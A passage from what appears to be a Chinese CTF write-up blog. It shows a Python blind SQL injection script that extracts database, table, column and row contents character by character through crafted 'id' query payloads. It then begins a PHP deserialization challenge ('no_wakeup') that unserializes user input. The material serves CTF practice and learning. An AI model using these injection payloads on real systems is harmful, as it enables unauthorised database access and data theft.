</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">        <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">        <span class="n">tb_len</span> <span class="o">=</span> <span class="n">get_table_length</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;abcdefghijklmnopqrstuvwxyz_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select table_name from information_schema.tables where &#34;</span> \
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">                          <span class="s2">&#34;table_schema=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">db_name</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">                    <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="n">names</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">    <span class="k">return</span> <span class="n">names</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">
</span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39; limit </span><span class="si">%d</span><span class="s2">,1--+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">num</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第</span><span class="si">%d</span><span class="s2">个表，有</span><span class="si">%d</span><span class="s2">列&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">num</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">
</span></span><span class="line"><span class="ln"> 88</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">                  <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl"><span class="k">def</span> <span class="nf">get_column_name</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">    <span class="n">names</span> <span class="o">=</span> <span class="p">[[]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">tb_num</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">tb_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">        <span class="n">cl_num</span> <span class="o">=</span> <span class="n">get_column_num</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">cl_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">name</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="n">cl_len</span> <span class="o">=</span> <span class="n">get_column_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">            <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">cl_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">                <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;qwertyuiopasdfghjklzxcvbnm_&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">                    <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select column_name from information_schema.columns where &#34;</span> \
</span></span><span class="line"><span class="ln">108</span><span class="cl">                              <span class="s2">&#34;table_name=&#39;</span><span class="si">%s</span><span class="s2">&#39;  limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">tb_names</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">j</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">                    <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                    <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">                    <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">                        <span class="n">name</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">            <span class="n">names</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">names</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">
</span></span><span class="line"><span class="ln">116</span><span class="cl">
</span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">    <span class="n">num</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=0&#39; union select 1,2,</span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1 --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">            <span class="n">num</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">
</span></span><span class="line"><span class="ln">127</span><span class="cl">
</span></span><span class="line"><span class="ln">128</span><span class="cl"><span class="k">def</span> <span class="nf">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and length((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">        <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">        <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">            <span class="k">return</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">135</span><span class="cl">
</span></span><span class="line"><span class="ln">136</span><span class="cl">
</span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="k">def</span> <span class="nf">get_data</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="n">da</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">    <span class="n">data_num</span> <span class="o">=</span> <span class="n">get_data_num</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">    <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">data_num</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">        <span class="n">d</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">        <span class="n">data_len</span> <span class="o">=</span> <span class="n">get_data_length</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">data_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">            <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="s2">&#34;QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-</span><span class="si">{}</span><span class="s2">&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;?id=1&#39; and substr((select </span><span class="si">%s</span><span class="s2"> from </span><span class="si">%s</span><span class="s2"> limit </span><span class="si">%d</span><span class="s2">,1),</span><span class="si">%d</span><span class="s2">,1)=&#39;</span><span class="si">%s</span><span class="s2">&#39; --+&#34;</span> <span class="o">%</span> <span class="p">(</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">k</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                <span class="n">uri</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="n">result</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">uri</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                <span class="k">if</span> <span class="n">cont</span> <span class="ow">in</span> <span class="n">result</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">                    <span class="n">d</span> <span class="o">+=</span> <span class="n">k</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">        <span class="n">da</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">da</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">
</span></span><span class="line"><span class="ln">153</span><span class="cl">
</span></span><span class="line"><span class="ln">154</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="n">db_len</span> <span class="o">=</span> <span class="n">get_database_length</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="n">db_name</span> <span class="o">=</span> <span class="n">get_database_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">    <span class="n">tb_num</span> <span class="o">=</span> <span class="n">get_table_number</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">    <span class="n">tb_names</span> <span class="o">=</span> <span class="n">get_table_names</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">    <span class="n">get_column_name</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入表名列名查询数据，以空格间隔：&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">        <span class="n">get_data</span><span class="p">(</span><span class="n">table_name</span><span class="p">,</span> <span class="n">column_name</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/077813/swpu_error_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1150" height="316"
/>
</p>
<p>因为单线程所以有点慢，写脚本是为了练</p>
<p>sqlmap神器</p>
<p><img
  src="/077813/swpu_error_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1314" height="625"
/>
</p>
<h3 id="no_wakeup">no_wakeup<a class="anchor" href="#no_wakeup">#</a></h3>
<p><img
  src="/077813/swpu_no_wakeup.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="490" height="364"
/>
</p>
<p>可爱</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">header</span><span class="p">(</span><span class="s2">&#34;Content-type:text/html;charset=utf-8&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;class.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__wakeup</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;wllm&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="k">echo</span> <span class="s2">&#34;No wake up&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="nv">$Letmeseesee</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$Letmeseesee</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
